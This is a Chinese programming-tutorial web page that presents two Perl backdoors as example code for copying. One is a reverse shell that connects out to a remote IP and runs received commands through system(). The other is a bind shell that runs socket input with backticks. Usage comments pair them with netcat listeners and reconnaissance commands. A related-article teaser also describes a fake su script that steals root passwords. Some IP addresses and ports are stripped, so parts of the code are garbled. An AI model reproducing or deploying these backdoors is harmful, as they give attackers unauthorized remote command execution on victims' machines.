位置: 编程技术 - 正文

perl后门,正向和反向!实例代码

编辑:rootadmin
反向连接代码: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default ) on your local system first,then 4. #Perl $0 Remote IP(default .0.0.1) Remote_port(default ) 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 6. #nc -vv -l -p 7. #perl backdoor.pl .0.0.1 8. 9. #use strict; . use Socket; . use IO::Socket; . use Cwd; . use IO::Handle; . my $remote = $ARGV[0]|| ".0.0.1"; . my $remote_port = $ARGV[1]|| ; . my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); . my $path = cwd(); . $ARGC = @ARGV; . if ($ARGV[0]!~/-/) . { . socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; . STDOUT->autoflush(1); . SOCKET->autoflush(1); . $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; . open STDIN,">&SOCKET"; . open STDOUT,">&SOCKET"; . open STDERR,">&SOCKET"; . print "You are in $pathn"; . print "Welcome to use.n"; . print "console>n"; . . while (<STDIN>) { . chomp; . if( lc($_) eq 'exit' ) { . print " Bye Bye!"; . exit; . } . $msg=system($_); . if($msg){ . print STDOUT "n$msgn"; . print STDOUT "console>"; . }else . { . print "console>"; . } . } . close SOCKET; . exit; . } 正向连接代码: 1. #!/usr/bin/perl 2. #ActivePerl 5.8.8 Build 3. #usage: 4. #first:perl backdoor2c.pl 5. #second:nc -vv .0.0.1 6. #net user 7. #ipconfig /all 8. #netstat -anb 9. use IO::Socket; . $port = ""; . my $socket = new IO::Socket::INET ( 'Localhost'=>'.0.0.1' , . 'LocalPort'=>$port , . 'Listen'=>1 , . 'Proto'=>'tcp' , . 'Reuse'=>1 ); . die "Reason: $!" unless $socket; . while (my $new_socket = $socket->accept()) { . while (my $buffer=<$new_socket> ){ . if ($buffer=~/exit/) {exit;} . $res_msg=`$buffer`; . print $new_socket "$res_msgncmd>"; . }}

推荐整理分享perl后门,正向和反向!实例代码,希望有所帮助,仅作参考,欢迎阅读内容。

perl后门,正向和反向!实例代码

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Perl模块编写说明 Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强

用perl写的单位电脑信息采集程序 主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE

冒充su ,perl写的su.pl盗取root密码 我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

标签: perl后门,正向和反向!实例代码

本文链接地址:https://www.jiuchutong.com/biancheng/372433.html 转载请保留说明!

上一篇:Shell编程的一些知识集合(shell编程技巧)

下一篇:Perl模块编写说明(perl编程)

  • 预提费用税务处理
  • 小企业需要计提法定盈余公积吗
  • 手续费和利息属于哪一科目
  • 酒水进项税税率
  • 印花税没有在我的待办里是不是就不用申报
  • 城投公司代表政府出资工程交税吗
  • 代理进口业务
  • 发票首次核定
  • 赠送的产品需要开发票吗
  • 企业购买结构性存款会计处理
  • 企业所得税季度预缴可以弥补以前年度亏损吗
  • 内部职工销售佣金计入
  • 因质量问题扣款协议
  • linux的sed命令
  • 包装物押金为什么含税
  • 计提本月短期借款利息1000元
  • 固定资产丢失进项税需要转出吗
  • 建筑行业预交增值税什么时候预交
  • 重装系统前需要注意什么
  • 跨年的费用怎么做账
  • ps命令不可用
  • 根据完工产品编制记账凭证
  • 公司其他费用包括哪些费用
  • 高温费做账
  • 巴伐利亚知乎
  • php 查找数组元素
  • 持有至到期减值准备是什么科目
  • 宣告分配现金股利和股票股利的区别
  • 减值准备对方科目不能是固定资产
  • gridviewcolumn
  • 开发成本怎么做分录
  • react redux reducer
  • 微服务docker打包规范
  • 小规模季报成功后怎么缴费
  • 商品流通企业库存商品的核算方法有以下几种
  • bootstrapstandby
  • c语言printf输出数组
  • 番茄开发票属于蔬菜吗?
  • 未能确认收入的原因
  • 小规模公司的做账要求
  • sqlserversa用户登录失败
  • 企业所得税季度平均值怎么算
  • 没有收入如何做账
  • 土地增值税是什么税种类型
  • 报关期限是如何规定的
  • 劳务报酬所得怎么做分录
  • 企业接受捐赠如何确认收入
  • 进口产品没有发票怎么入账
  • 投标费用计入哪个科目
  • 出口产品开票注意事项
  • 固定资产大修理支出摊销年限
  • 临时账户名称是什么意思
  • 企业的支出包括( )支出
  • 农民工工资专户销户流程
  • 建安发票是增值税发票吗
  • 新基建政策文件
  • 发票过账是什么意思
  • 各单位应当根据需要设立专职或者兼职
  • sql实现选择操作
  • mysql中count(), group by, order by使用详解
  • win8系统怎么查看隐藏文件
  • linux route -n命令结果详解
  • 电脑ip地址设置在哪里
  • Android游戏开发入门
  • 安卓笔记软件squid使用教程
  • git 常用指令
  • 批处理语言 从入门到精通
  • css样式表可以兼容所有浏览器吗
  • unity shader ao
  • bootstrap弹出表单
  • node.js deno
  • javascript总结笔记
  • javascript教程
  • 开源项目怎么做
  • 使用SQLite数据库保存和处理数据
  • js浮动窗口
  • jquery1
  • 浙江通用电子发票查不到
  • 天津电子税务局ca证书
  • 中通快递深圳同城多少钱
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设